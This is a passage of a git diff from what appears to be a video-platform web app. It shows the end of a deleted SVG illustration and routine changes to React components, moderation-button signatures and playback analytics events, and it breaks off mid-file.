</g>
|
||||
<path d="M2157.78 1569.82C2159.08 1550.55 2175.65 1534.71 2194.79 1534.43C2213.94 1534.15 2228.41 1549.53 2227.12 1568.8C2225.82 1588.06 2209.25 1603.91 2190.1 1604.19C2170.96 1604.47 2156.49 1589.08 2157.78 1569.82Z" fill="#DEDEDE"/>
|
||||
<path d="M1662.35 1829.49C1645.46 1787.85 1850.52 1752.32 1854.28 1791.71C1858.37 1834.59 1804.4 1912.61 1777.2 1917.14C1750 1921.68 1680.39 1873.96 1662.35 1829.49V1829.49Z" fill="black"/>
|
||||
<g opacity="0.8">
|
||||
<g filter="url(#filter4_f_35_87)">
|
||||
<path d="M1786.9 1793.91C1788.82 1786.22 1801.15 1781.29 1814.45 1782.91C1827.74 1784.53 1836.97 1792.08 1835.05 1799.77C1833.13 1807.46 1820.8 1812.39 1807.51 1810.77C1794.21 1809.15 1784.99 1801.61 1786.9 1793.91Z" fill="#BEBEBE"/>
|
||||
</g>
|
||||
<path d="M1788.84 1794.15C1790.59 1787.19 1801.91 1782.76 1814.14 1784.25C1826.36 1785.74 1834.85 1792.58 1833.11 1799.54C1831.36 1806.49 1820.04 1810.92 1807.81 1809.43C1795.59 1807.94 1787.1 1801.1 1788.84 1794.15Z" fill="#DEDEDE"/>
|
||||
</g>
|
||||
<path d="M2741.41 163.935C2735.43 163.645 2728.58 173.489 2718.76 194.994C2673.88 293.306 2462.29 385.213 2381.08 483.525C2299.87 581.837 2284.9 697.243 2374.67 851.122C2421.52 931.442 2482.9 980.277 2532.12 1009.56C2600.59 964.628 2850.77 785.686 2843.33 573.68C2841.17 511.985 2836.51 456.206 2831.39 405.253C2769.94 259.579 2759.63 164.818 2741.41 163.935V163.935Z" fill="url(#paint1_radial_35_87)"/>
|
||||
<path d="M181.665 291.229C163.173 289.362 174.995 366.697 171.814 505.727C180.547 595.591 187.448 701.123 207.526 827.611C246.789 1074.97 573.781 1224.58 626.915 1247.37C670.403 1199.53 739.457 1106.83 766.704 960.629C806.777 745.606 754.64 615.556 641.83 530.754C529.02 445.951 288.043 418.155 211.526 319.567C197.179 301.081 187.769 291.846 181.665 291.229V291.229Z" fill="url(#paint2_radial_35_87)"/>
|
||||
<path d="M2798.72 15.367C2698.4 16.4866 2391.12 184.492 2306.37 277.783C2219.35 373.579 2165.64 521.033 2148.97 571.513C2050.88 508.595 1907.17 507.155 1907.17 507.155C1907.17 507.155 1991.8 479.955 2082.48 455.775C1925.31 401.371 1722.8 449.727 1722.8 449.727C1722.8 449.727 1813.47 349.989 1895.08 277.45C1768.13 310.697 1620.04 383.233 1529.36 437.638C1553.54 401.368 1595.86 362.076 1680.49 244.199C1447.75 301.626 1160.61 528.318 1060.87 612.947C1072.96 537.385 1103.19 489.025 1139.46 404.395C1002.07 499.513 937.628 607.905 907.715 681.853C876.542 624.261 794.11 483.695 690.543 400.173C558.035 293.312 45.0983 126.611 113.489 254.844C181.88 383.077 164.781 558.322 207.526 827.611C250.27 1096.9 634.972 1250.78 634.972 1250.78C637.192 1249.99 639.395 1249.09 641.592 1248.17C619.011 1319.85 598.866 1424.54 583.679 1597.01C511.014 1706.01 478.959 1727.38 470.41 1767.99C540.938 1733.8 575.13 1708.15 626.423 1695.32C581.542 1770.13 579.407 1872.71 598.642 2035.14C634.975 1943.24 632.833 1945.37 671.303 1917.59C681.988 2026.59 705.503 2086.43 733.287 2120.63C743.973 2060.78 776.031 2037.28 776.031 2037.28C776.031 2037.28 797.404 2167.65 859.383 2257.41C872.207 2178.34 887.165 2165.51 887.165 2165.51C887.165 2165.51 1135.08 2490.37 1767.7 2456.17C2400.31 2421.98 2579.84 1985.98 2579.84 1985.98C2579.84 1985.98 2592.66 2041.56 2592.66 2062.93C2639.68 1994.54 2669.6 1853.48 2669.6 1853.48C2669.6 1853.48 2703.8 1934.69 2695.25 1985.98C2733.72 1921.86 2742.26 1763.72 2725.17 1691.05C2785.01 1755.17 2836.31 1776.54 2836.31 1776.54C2836.31 1776.54 2703.79 1545.72 2699.52 1507.25C2695.25 1468.78 2793.56 1562.81 2793.56 1562.81C2793.56 1562.81 2731.97 1460.26 2716.62 1432.45C2659.41 1328.78 2605.12 1139.43 2528.87 1011.72C2592.86 970.123 2850.88 788.773 2843.33 573.68C2834.72 328.21 2786.46 176.103 2827.99 51.0384C2836.43 25.6346 2824.3 15.0816 2798.72 15.367V15.367Z" stroke="black" stroke-width="30.7203" stroke-linecap="round" stroke-linejoin="round"/>
|
||||
<path d="M1166.07 3775.9C1091.27 3651.94 1054.81 3567.11 1049.59 3511.42C1044.78 3460.13 1038.37 3398.15 1075.24 3428.61C1085.93 3383.72 1083.79 3358.08 1111.57 3370.9C1139.36 3383.72 1158.59 3411.51 1158.59 3411.51C1158.59 3411.51 1154.32 3347.39 1182.1 3368.76C1233.19 3399.52 1324.44 3688.35 1313.81 3770.16C1302.14 3860.06 1231.96 3879.6 1166.07 3775.9V3775.9Z" fill="url(#paint3_linear_35_87)" stroke="black" stroke-width="23.0402"/>
|
||||
<path d="M2556.53 3668.47C2609.53 3533.74 2631.28 3444 2627.1 3388.22C2623.26 3336.85 2619.21 3274.67 2587.96 3310.87C2569.91 3268.41 2567.73 3242.76 2542.48 3260.06C2517.23 3277.35 2502.92 3307.96 2502.92 3307.96C2502.92 3307.96 2496.4 3244.03 2472.59 3269.75C2427.37 3308.62 2385.74 3608.66 2409.91 3687.53C2436.47 3774.21 2508.93 3781.73 2556.53 3668.47V3668.47Z" fill="url(#paint4_linear_35_87)" stroke="black" stroke-width="23.0402"/>
|
||||
<path d="M1562.1 3063.57C1524.1 3059.67 1486.65 3074.05 1455.28 3094.55C1440.72 3104.25 1426.76 3115.03 1414.48 3127.52C1438.67 3156.34 1465.72 3183.02 1496.29 3205.05C1502.66 3208.89 1510.79 3214.39 1518.35 3210.58C1525.16 3205.3 1523.61 3195.64 1524.22 3188.07C1530.46 3197.06 1541.84 3202.2 1552.66 3201.65C1562.44 3199.92 1561.73 3187.56 1560.44 3180.1C1559.69 3173.07 1556.6 3166.42 1556.17 3159.41C1562.43 3160.56 1568.02 3169.72 1575.98 3167.49C1584.76 3164.88 1580.38 3153.58 1580.28 3146.94C1575.9 3118.83 1568.65 3091.24 1562.1 3063.57V3063.57Z" fill="url(#paint5_linear_35_87)"/>
|
||||
<path d="M1517.64 2663.48C1517.64 2663.48 1517.64 2663.48 1517.67 2663.48C1520.97 2664.02 1526.42 2740.85 1532.65 2874.63C1534.91 2900.48 1540.5 2925.66 1547.39 2954.9C1554.58 2985.32 1562.49 3014.75 1571.38 3047.9C1578.08 3072.85 1585.59 3099.84 1591.55 3126.74C1593.42 3135.07 1595.31 3143.95 1596.25 3153.37C1596.57 3156.1 1596.76 3159.46 1596.39 3163.39C1597.28 3165.14 1595.58 3169.34 1590.43 3175.07V3175.07C1580.39 3180.9 1569.4 3179.92 1561.47 3173.37V3173.37C1559.01 3171.29 1557.89 3169.89 1557.57 3169.88C1559.13 3171.17 1561.37 3170.83 1565.41 3169.42H1565.41C1567.07 3167.09 1567.82 3166.38 1567.48 3165.67C1567.51 3167 1568.74 3169.46 1569.97 3173.33V3173.33C1574.02 3183.37 1572.31 3196.44 1561.97 3206.72V3206.72C1550.18 3212.97 1538.44 3211.07 1531.04 3204.36V3204.36C1528.22 3202.07 1526.49 3200.26 1525.34 3199.66H1525.34C1524.94 3200.04 1525.8 3199.59 1528.79 3199.47V3199.47C1531.49 3196.56 1532.68 3197.17 1530.81 3199.19C1530.12 3201.61 1529.26 3205.67 1526.9 3210.83C1526.22 3212.23 1525.38 3213.53 1524.39 3214.71C1520.87 3218.89 1515.47 3221.56 1508.72 3222C1497.43 3220.63 1489.74 3215.57 1485.08 3211.33C1426.38 3166.73 1381.27 3109.36 1347.87 3050.36C1312.57 2987.93 1289.98 2924.54 1275.1 2870.05C1253.47 2738.94 1243.01 2664.06 1246.21 2663.48C1249.41 2662.9 1265.97 2736.63 1291.73 2866.13V2866.13C1308.09 2918.97 1331.53 2980.15 1366.49 3039.63C1399.64 3096.09 1443.21 3150.79 1498.89 3192.79C1504.65 3196.18 1508.06 3199.72 1509.67 3198.89C1507.79 3199.52 1506.9 3199.67 1506.47 3200.08C1506.35 3200.2 1506.26 3200.33 1506.2 3200.5C1506.94 3199.44 1507.34 3196.53 1508.73 3192.3C1508.67 3188.65 1512.14 3183.04 1520.37 3177.93V3177.93C1527.93 3176.03 1533.99 3177.15 1537.72 3180.15H1537.72C1541.56 3182.71 1544.07 3185.1 1545.79 3186.59V3186.59C1547.9 3187.76 1550.06 3189.47 1548.1 3188.32H1548.1C1549.89 3189.46 1549.02 3184.96 1548.23 3180.69C1547.29 3178.15 1545.76 3174.34 1544.81 3168.99C1543.68 3162.9 1546.08 3156.29 1552.14 3150.81V3150.81C1559.11 3147.32 1565.42 3147.49 1569.99 3150.72V3150.72C1573.53 3153.21 1575.53 3155.29 1576.51 3156.24C1576.77 3156.9 1578.18 3157.59 1576.82 3156.92C1573.94 3160.94 1572.68 3161.93 1573.89 3160.86C1574.1 3159.67 1573.92 3157.84 1573.76 3155.45C1573.11 3147.76 1571.43 3139.75 1569.7 3131.46C1564.19 3105.34 1557.05 3078.42 1550.71 3053.27C1542.36 3020.15 1534.87 2989.98 1528.34 2959.17C1522.03 2929.53 1516.99 2902.93 1515.44 2875.5C1513.55 2741.07 1514.34 2664.11 1517.6 2663.48C1517.63 2663.47 1517.63 2663.48 1517.63 2663.48L1517.64 2663.48Z" fill="black"/>
|
||||
<path d="M1565.2 3063.14C1564.91 3065.73 1555.96 3066.2 1541.37 3069.17C1525.48 3072.41 1508.74 3077.63 1488.07 3087.53C1480.4 3091.19 1473 3095.12 1465.92 3099.1C1438.07 3119.19 1417.43 3130.85 1415.06 3127.79C1412.69 3124.73 1429.23 3107.59 1456.25 3085.16C1463.45 3080.3 1471.31 3075.72 1479.69 3071.69C1501.77 3061.09 1522.77 3056.66 1540.11 3056.79C1556.81 3056.91 1565.43 3061.05 1565.2 3063.14V3063.14Z" fill="black"/>
|
||||
<path d="M2047.1 3038.3C2015.08 3027.25 1989.62 3002.03 1971.75 2973.82C1956.72 2949.74 1945.57 2923.17 1939.25 2895.65C1918.3 2922.05 1897.04 2948.41 1879.78 2977.47C1875.73 2983.29 1871.18 2994.54 1881.77 2996.72C1891.18 2999.42 1900.88 2996.43 1910.31 2997.32C1906.93 3001.57 1900.26 3003.74 1896.41 3008.26C1889.29 3014.81 1882.1 3026.28 1888.65 3035.81C1897.4 3046.28 1912.16 3048.19 1924.86 3048.06C1933.1 3048.55 1920.45 3056.52 1921.15 3061.12C1917.09 3068.66 1918.61 3081.73 1929.47 3082C1942.49 3082.82 1954.68 3077.29 1966.93 3073.96C1994.86 3064.92 2021.6 3052.63 2047.1 3038.3V3038.3Z" fill="url(#paint6_linear_35_87)"/>
|
||||
<path d="M2136.43 2590.6C2136.43 2590.6 2136.43 2590.6 2136.46 2590.61C2138.25 2591.35 2133.68 2615.94 2123.09 2662.55C2113.97 2692.52 2095.65 2744.12 2055.96 2781.07C2017.94 2816.07 1984.67 2855.47 1945.22 2905.25C1930.26 2924.17 1915.03 2943.97 1901.15 2964.57C1896.69 2971.21 1892.4 2977.73 1888.9 2984.37C1887.31 2989.65 1884.88 2991 1886.02 2988.64C1885.41 2987.11 1884.89 2986.63 1883.18 2985.7C1883.88 2986.16 1886.21 2985.54 1889.98 2985.28C1893.03 2984.76 1897.54 2984.08 1903.47 2984.6C1910.57 2985.44 1916.49 2990.55 1919.26 2999.16C1919.62 3007.51 1917.02 3013.57 1913.15 3016.69C1909.61 3020.25 1906.45 3022.49 1904.48 3024.27C1901.57 3026.15 1900.4 3031.06 1902.55 3033.46C1899.98 3033.96 1903.61 3032.95 1908.88 3033.72C1909.75 3033.84 1910.66 3034.02 1911.6 3034.26C1914.77 3034.15 1919.24 3034.1 1924.84 3035.26C1930.94 3036.4 1936.38 3041.11 1939.46 3048.98C1940.49 3058.56 1938.28 3064.62 1936.14 3066.9C1934.09 3071.33 1932.13 3074.45 1931.58 3076.77C1932.68 3076.62 1931.02 3075.79 1927.76 3071.11C1927.93 3072.71 1932.65 3070.31 1940.05 3069.84C2060.52 3040.57 2153.12 2954.06 2211.42 2887.43C2275.45 2796.57 2313.04 2746.24 2315.58 2747.99C2318.13 2749.74 2285.39 2803.44 2224.48 2897.39C2167.72 2967.95 2073.72 3059.09 1945.44 3091.98C1939.78 3094.05 1930.07 3095.88 1918.09 3091.52C1909.3 3084.14 1906.86 3075.86 1909.67 3069.89C1911.51 3064.11 1913.88 3059.89 1915.46 3056.71C1916.37 3052.55 1918.09 3051.64 1917.32 3054.22C1919 3056.69 1919.32 3057.64 1919.99 3057.49C1918.66 3056.99 1915.95 3057.25 1912.03 3057.13C1910.91 3057.36 1909.69 3057.5 1908.41 3057.54C1900.62 3057.76 1890.34 3054.11 1882.13 3043.31C1876.61 3030.37 1879.45 3016.48 1889 3007.16C1892.37 3004.14 1895.17 3002.25 1896.61 3000.66C1896.82 2999.58 1897.47 2999.97 1896.83 3002.48C1898.68 3005.68 1899.46 3006.96 1901.14 3007.12C1899.94 3006.74 1897.3 3007.4 1893.29 3007.76C1889.92 3008.39 1884.94 3008.85 1878.59 3007.7C1870.78 3005.36 1865.44 2999.58 1863.79 2991.91C1863.56 2981.4 1866.8 2975.32 1869.05 2973.44C1873.27 2965.66 1878.02 2958.53 1882.67 2951.79C1897.28 2930.57 1913.07 2910.54 1928.48 2891.68C1968.69 2842.39 2004.17 2802.5 2044.22 2767.98C2081.07 2736.75 2101.47 2687.54 2112.56 2659.14C2126.21 2614.17 2134.44 2590.46 2136.39 2590.6C2136.42 2590.61 2136.42 2590.61 2136.42 2590.61L2136.43 2590.6Z" fill="black"/>
|
||||
<path d="M2038.8 3040.8C2037.48 3043.01 2027.68 3040.96 2012.89 3031.42C1997.72 3021.64 1980.73 3005.97 1966.44 2984.73C1959.64 2974.61 1954.07 2964.16 1949.75 2953.83C1940.62 2921.19 1937.42 2899.28 1941.52 2898.01C1945.61 2896.74 1956.14 2916.23 1967.96 2946.88C1972.82 2955.89 1978.21 2964.93 1984.35 2974.02C2009.03 3010.53 2041.64 3036.08 2038.8 3040.8V3040.8Z" fill="black"/>
|
||||
<path d="M1643 3039.5V3096H1697.5V3039.5C1697.5 3039.5 1697.5 2974.5 1764.5 2974.5C1831.5 2974.5 1823.5 3039.5 1823.5 3039.5V3096H1874V3039.5C1869.33 3003.67 1850 2922 1764.5 2922C1678.44 2922 1643.67 3001 1643 3039.5Z" fill="#C4C4C4" stroke="black" stroke-width="14"/>
|
||||
<rect x="1604.5" y="3089.5" width="333" height="269" fill="#F7CF45" stroke="black" stroke-width="15"/>
|
||||
</g>
|
||||
<defs>
|
||||
<filter id="filter0_f_35_87" x="951.462" y="1473.2" width="199.468" height="216.64" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
|
||||
<feFlood flood-opacity="0" result="BackgroundImageFix"/>
|
||||
<feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape"/>
|
||||
<feGaussianBlur stdDeviation="10.3119" result="effect1_foregroundBlur_35_87"/>
|
||||
</filter>
|
||||
<filter id="filter1_f_35_87" x="1135.42" y="1676.67" width="94.5019" height="96.079" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
|
||||
<feFlood flood-opacity="0" result="BackgroundImageFix"/>
|
||||
<feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape"/>
|
||||
<feGaussianBlur stdDeviation="4.72782" result="effect1_foregroundBlur_35_87"/>
|
||||
</filter>
|
||||
<filter id="filter2_f_35_87" x="2224.19" y="1317.8" width="199.468" height="216.64" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
|
||||
<feFlood flood-opacity="0" result="BackgroundImageFix"/>
|
||||
<feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape"/>
|
||||
<feGaussianBlur stdDeviation="10.3119" result="effect1_foregroundBlur_35_87"/>
|
||||
</filter>
|
||||
<filter id="filter3_f_35_87" x="2145.2" y="1521.27" width="94.5019" height="96.079" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
|
||||
<feFlood flood-opacity="0" result="BackgroundImageFix"/>
|
||||
<feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape"/>
|
||||
<feGaussianBlur stdDeviation="4.72782" result="effect1_foregroundBlur_35_87"/>
|
||||
</filter>
|
||||
<filter id="filter4_f_35_87" x="1781.61" y="1777.56" width="58.7359" height="38.5579" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
|
||||
<feFlood flood-opacity="0" result="BackgroundImageFix"/>
|
||||
<feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape"/>
|
||||
<feGaussianBlur stdDeviation="2.52106" result="effect1_foregroundBlur_35_87"/>
|
||||
</filter>
|
||||
<radialGradient id="paint0_radial_35_87" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1760.99 1829.81) rotate(-0.182296) scale(306.481 287.176)">
|
||||
<stop stop-color="#CC3100"/>
|
||||
<stop offset="1" stop-color="#DE6B00"/>
|
||||
</radialGradient>
|
||||
<radialGradient id="paint1_radial_35_87" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(2373.33 907.327) rotate(63.7909) scale(608.272 241.85)">
|
||||
<stop stop-color="#FF927A"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</radialGradient>
|
||||
<radialGradient id="paint2_radial_35_87" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(785.008 1066.98) rotate(-157.738) scale(359.552 439.05)">
|
||||
<stop stop-color="#FF927A"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</radialGradient>
|
||||
<linearGradient id="paint3_linear_35_87" x1="1257.34" y1="3813.75" x2="1136.44" y2="3481.28" gradientUnits="userSpaceOnUse">
|
||||
<stop stop-color="#F79041"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="paint4_linear_35_87" x1="2481.02" y1="3700.43" x2="2528.01" y2="3388.4" gradientUnits="userSpaceOnUse">
|
||||
<stop stop-color="#F79041"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="paint5_linear_35_87" x1="1465.89" y1="3071.73" x2="1527.85" y2="3160.89" gradientUnits="userSpaceOnUse">
|
||||
<stop stop-color="#F79041"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="paint6_linear_35_87" x1="1978.5" y1="2970.47" x2="1922.1" y2="3021.61" gradientUnits="userSpaceOnUse">
|
||||
<stop stop-color="#F79041"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</linearGradient>
|
||||
<clipPath id="clip0_35_87">
|
||||
<rect width="2858.86" height="3857.48" fill="white"/>
|
||||
</clipPath>
|
||||
</defs>
|
||||
</svg>
|
||||
|
Before Width: | Height: | Size: 28 KiB |
+9
-3
@@ -49,6 +49,9 @@ type Analytics = {
|
||||
readyState: number,
|
||||
}
|
||||
) => Promise<any>,
|
||||
adsFetchedEvent: () => void,
|
||||
adsReceivedEvent: (any) => void,
|
||||
adsErrorEvent: (any) => void,
|
||||
emailProvidedEvent: () => void,
|
||||
emailVerifiedEvent: () => void,
|
||||
rewardEligibleEvent: () => void,
|
||||
@@ -165,7 +168,10 @@ async function sendWatchmanData(body) {
|
||||
});
|
||||
|
||||
return response;
|
||||
} catch (err) {}
|
||||
} catch (err) {
|
||||
console.log('ERROR FROM WATCHMAN BACKEND');
|
||||
console.log(err);
|
||||
}
|
||||
}
|
||||
|
||||
const analytics: Analytics = {
|
||||
@@ -207,7 +213,7 @@ const analytics: Analytics = {
|
||||
startWatchmanIntervalIfNotRunning();
|
||||
}
|
||||
},
|
||||
videoStartEvent: (claimId, timeToStartVideo, poweredBy, passedUserId, canonicalUrl, passedPlayer, videoBitrate) => {
|
||||
videoStartEvent: (claimId, duration, poweredBy, passedUserId, canonicalUrl, passedPlayer, videoBitrate) => {
|
||||
// populate values for watchman when video starts
|
||||
userId = passedUserId;
|
||||
claimUrl = canonicalUrl;
|
||||
@@ -218,7 +224,7 @@ const analytics: Analytics = {
|
||||
bitrateAsBitsPerSecond = videoBitrate;
|
||||
|
||||
// sendPromMetric('time_to_start', duration);
|
||||
sendMatomoEvent('Media', 'TimeToStart', claimId, timeToStartVideo);
|
||||
sendMatomoEvent('Media', 'TimeToStart', claimId, duration);
|
||||
},
|
||||
error: (message) => {
|
||||
return new Promise((resolve) => {
|
||||
|
||||
@@ -5,7 +5,7 @@ import { doFetchAccessToken, doUserSetReferrer } from 'redux/actions/user';
|
||||
import { selectUser, selectAccessToken, selectUserVerifiedEmail } from 'redux/selectors/user';
|
||||
import { selectUnclaimedRewards } from 'redux/selectors/rewards';
|
||||
import { doFetchChannelListMine, doFetchCollectionListMine, doResolveUris } from 'redux/actions/claims';
|
||||
import { selectMyChannelUrls, selectMyChannelClaimIds } from 'redux/selectors/claims';
|
||||
import { selectMyChannelUrls } from 'redux/selectors/claims';
|
||||
import * as SETTINGS from 'constants/settings';
|
||||
import { selectSubscriptions } from 'redux/selectors/subscriptions';
|
||||
import {
|
||||
@@ -19,7 +19,6 @@ import {
|
||||
selectAutoUpdateDownloaded,
|
||||
selectModal,
|
||||
selectActiveChannelClaim,
|
||||
selectIsUpdateModalDisplayed,
|
||||
} from 'redux/selectors/app';
|
||||
import { doGetWalletSyncPreference, doSetLanguage } from 'redux/actions/settings';
|
||||
import { doSyncLoop } from 'redux/actions/sync';
|
||||
@@ -49,9 +48,7 @@ const select = (state) => ({
|
||||
syncFatalError: selectSyncFatalError(state),
|
||||
activeChannelClaim: selectActiveChannelClaim(state),
|
||||
myChannelUrls: selectMyChannelUrls(state),
|
||||
myChannelClaimIds: selectMyChannelClaimIds(state),
|
||||
subscriptions: selectSubscriptions(state),
|
||||
isUpdateModalDisplayed: selectIsUpdateModalDisplayed(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
|
||||
@@ -76,7 +76,6 @@ type Props = {
|
||||
fetchModBlockedList: () => void,
|
||||
resolveUris: (Array<string>) => void,
|
||||
fetchModAmIList: () => void,
|
||||
isUpdateModalDisplayed: boolean,
|
||||
};
|
||||
|
||||
function App(props: Props) {
|
||||
@@ -112,7 +111,6 @@ function App(props: Props) {
|
||||
resolveUris,
|
||||
subscriptions,
|
||||
fetchModAmIList,
|
||||
isUpdateModalDisplayed,
|
||||
} = props;
|
||||
|
||||
const appRef = useRef();
|
||||
@@ -128,9 +126,9 @@ function App(props: Props) {
|
||||
const [upgradeNagClosed, setUpgradeNagClosed] = useState(false);
|
||||
const [resolvedSubscriptions, setResolvedSubscriptions] = useState(false);
|
||||
// const [retryingSync, setRetryingSync] = useState(false);
|
||||
const [langRenderKey, setLangRenderKey] = useState(0);
|
||||
const [sidebarOpen] = usePersistedState('sidebar', true);
|
||||
const showUpgradeButton = (autoUpdateDownloaded || isUpgradeAvailable) && !upgradeNagClosed;
|
||||
const showUpgradeButton =
|
||||
(autoUpdateDownloaded || (process.platform === 'linux' && isUpgradeAvailable)) && !upgradeNagClosed;
|
||||
// referral claiming
|
||||
const referredRewardAvailable = rewards && rewards.some((reward) => reward.reward_type === REWARDS.TYPE_REFEREE);
|
||||
const urlParams = new URLSearchParams(search);
|
||||
@@ -328,11 +326,6 @@ function App(props: Props) {
|
||||
}
|
||||
}, [sidebarOpen, isPersonalized, resolvedSubscriptions, subscriptions, resolveUris, setResolvedSubscriptions]);
|
||||
|
||||
useEffect(() => {
|
||||
// When language is changed or translations are fetched, we render.
|
||||
setLangRenderKey(Date.now());
|
||||
}, [language, languages]);
|
||||
|
||||
if (syncFatalError) {
|
||||
return <SyncFatalError />;
|
||||
}
|
||||
@@ -344,7 +337,6 @@ function App(props: Props) {
|
||||
[`${MAIN_WRAPPER_CLASS}--scrollbar`]: useCustomScrollbar,
|
||||
})}
|
||||
ref={appRef}
|
||||
key={langRenderKey}
|
||||
onContextMenu={(e) => openContextMenu(e)}
|
||||
>
|
||||
<Router />
|
||||
@@ -353,7 +345,7 @@ function App(props: Props) {
|
||||
<FileRenderFloating />
|
||||
{isEnhancedLayout && <Yrbl className="yrbl--enhanced" />}
|
||||
|
||||
{showUpgradeButton && !isUpdateModalDisplayed && (
|
||||
{showUpgradeButton && (
|
||||
<Nag
|
||||
message={__('An upgrade is available.')}
|
||||
actionText={__('Install Now')}
|
||||
|
||||
@@ -118,7 +118,7 @@ export default function BlockList(props: Props) {
|
||||
return (
|
||||
<>
|
||||
<div className="help--notice">{help}</div>
|
||||
<div className="section" style={{ zIndex: '4' }}>
|
||||
<div className="section">
|
||||
<SearchList
|
||||
list={localList}
|
||||
placeholder={__('e.g. odysee')}
|
||||
|
||||
@@ -11,11 +11,11 @@ type Props = {
|
||||
isBlockingOrUnBlocking: boolean,
|
||||
isToggling: boolean,
|
||||
doCommentModUnBlock: (string, boolean) => void,
|
||||
doCommentModBlock: (string, ?Number, boolean) => void,
|
||||
doCommentModBlock: (string, ?string, ?Number, boolean) => void,
|
||||
doCommentModUnBlockAsAdmin: (string, string) => void,
|
||||
doCommentModBlockAsAdmin: (string, string) => void,
|
||||
doCommentModBlockAsAdmin: (string, ?string, ?string) => void,
|
||||
doCommentModUnBlockAsModerator: (string, string, string) => void,
|
||||
doCommentModBlockAsModerator: (string, string, string) => void,
|
||||
doCommentModBlockAsModerator: (string, ?string, string, ?string) => void,
|
||||
};
|
||||
|
||||
function ChannelBlockButton(props: Props) {
|
||||
@@ -41,7 +41,7 @@ function ChannelBlockButton(props: Props) {
|
||||
if (isBlocked) {
|
||||
doCommentModUnBlock(uri, false);
|
||||
} else {
|
||||
doCommentModBlock(uri, undefined, false);
|
||||
doCommentModBlock(uri, undefined, undefined, false);
|
||||
}
|
||||
break;
|
||||
|
||||
@@ -50,7 +50,7 @@ function ChannelBlockButton(props: Props) {
|
||||
if (isBlocked) {
|
||||
doCommentModUnBlockAsModerator(uri, creatorUri, '');
|
||||
} else {
|
||||
doCommentModBlockAsModerator(uri, creatorUri, '');
|
||||
doCommentModBlockAsModerator(uri, undefined, creatorUri, undefined);
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -59,7 +59,7 @@ function ChannelBlockButton(props: Props) {
|
||||
if (isBlocked) {
|
||||
doCommentModUnBlockAsAdmin(uri, '');
|
||||
} else {
|
||||
doCommentModBlockAsAdmin(uri, '');
|
||||
doCommentModBlockAsAdmin(uri, undefined, undefined);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -212,7 +212,6 @@ function ChannelForm(props: Props) {
|
||||
|
||||
function handleSubmit() {
|
||||
if (uri) {
|
||||
console.log('Params A: ', params);
|
||||
updateChannel(params).then((success) => {
|
||||
if (success) {
|
||||
onDone();
|
||||
@@ -270,10 +269,9 @@ function ChannelForm(props: Props) {
|
||||
}
|
||||
|
||||
// TODO clear and bail after submit
|
||||
// <div className={classnames('main--contained', { 'card--disabled': disabled })}></div>
|
||||
return (
|
||||
<>
|
||||
<div className={classnames({ 'card--disabled': disabled })}>
|
||||
<div className={classnames('main--contained', { 'card--disabled': disabled })}>
|
||||
<header className="channel-cover">
|
||||
<div className="channel__quick-actions">
|
||||
<Button
|
||||
@@ -334,7 +332,7 @@ function ChannelForm(props: Props) {
|
||||
<div className="channel-cover__gradient" />
|
||||
</header>
|
||||
|
||||
<Tabs className="channelPage-wrapper">
|
||||
<Tabs>
|
||||
<TabList className="tabs__list--channel-page">
|
||||
<Tab>{__('General')}</Tab>
|
||||
<Tab>{__('Credit Details')}</Tab>
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
// @flow
|
||||
import { SIMPLE_SITE } from 'config';
|
||||
import * as ICONS from 'constants/icons';
|
||||
import React from 'react';
|
||||
import classnames from 'classnames';
|
||||
@@ -13,7 +14,6 @@ type Props = {
|
||||
level: number,
|
||||
large?: boolean,
|
||||
inline?: boolean,
|
||||
hideTooltip?: Boolean,
|
||||
};
|
||||
|
||||
function getChannelIcon(level: number): string {
|
||||
@@ -28,20 +28,8 @@ function getChannelIcon(level: number): string {
|
||||
return icons[level] || ICONS.CHANNEL_LEVEL_1;
|
||||
}
|
||||
|
||||
// function getChannelIconB(level: number): string {
|
||||
// const icons = {
|
||||
// '1': ICONS.CHANNEL_LEVEL_1_B,
|
||||
// '2': ICONS.CHANNEL_LEVEL_2_B,
|
||||
// '3': ICONS.CHANNEL_LEVEL_3_B,
|
||||
// '4': ICONS.CHANNEL_LEVEL_4_B,
|
||||
// '5': ICONS.CHANNEL_LEVEL_5_B,
|
||||
// };
|
||||
//
|
||||
// return icons[level] || ICONS.CHANNEL_LEVEL_1_B;
|
||||
// }
|
||||
|
||||
function ChannelStakedIndicator(props: Props) {
|
||||
const { channelClaim, amount, level, large = false, inline = false, hideTooltip = false } = props;
|
||||
const { channelClaim, amount, level, large = false, inline = false } = props;
|
||||
|
||||
if (!channelClaim || !channelClaim.meta) {
|
||||
return null;
|
||||
@@ -49,12 +37,11 @@ function ChannelStakedIndicator(props: Props) {
|
||||
|
||||
const isControlling = channelClaim && channelClaim.meta.is_controlling;
|
||||
const icon = getChannelIcon(level);
|
||||
// const icon_b = getChannelIconB(level);
|
||||
|
||||
if (!hideTooltip) {
|
||||
return (
|
||||
return (
|
||||
SIMPLE_SITE && (
|
||||
<Tooltip
|
||||
title={
|
||||
label={
|
||||
<div className="channel-staked__tooltip">
|
||||
<div className="channel-staked__tooltip-icons">
|
||||
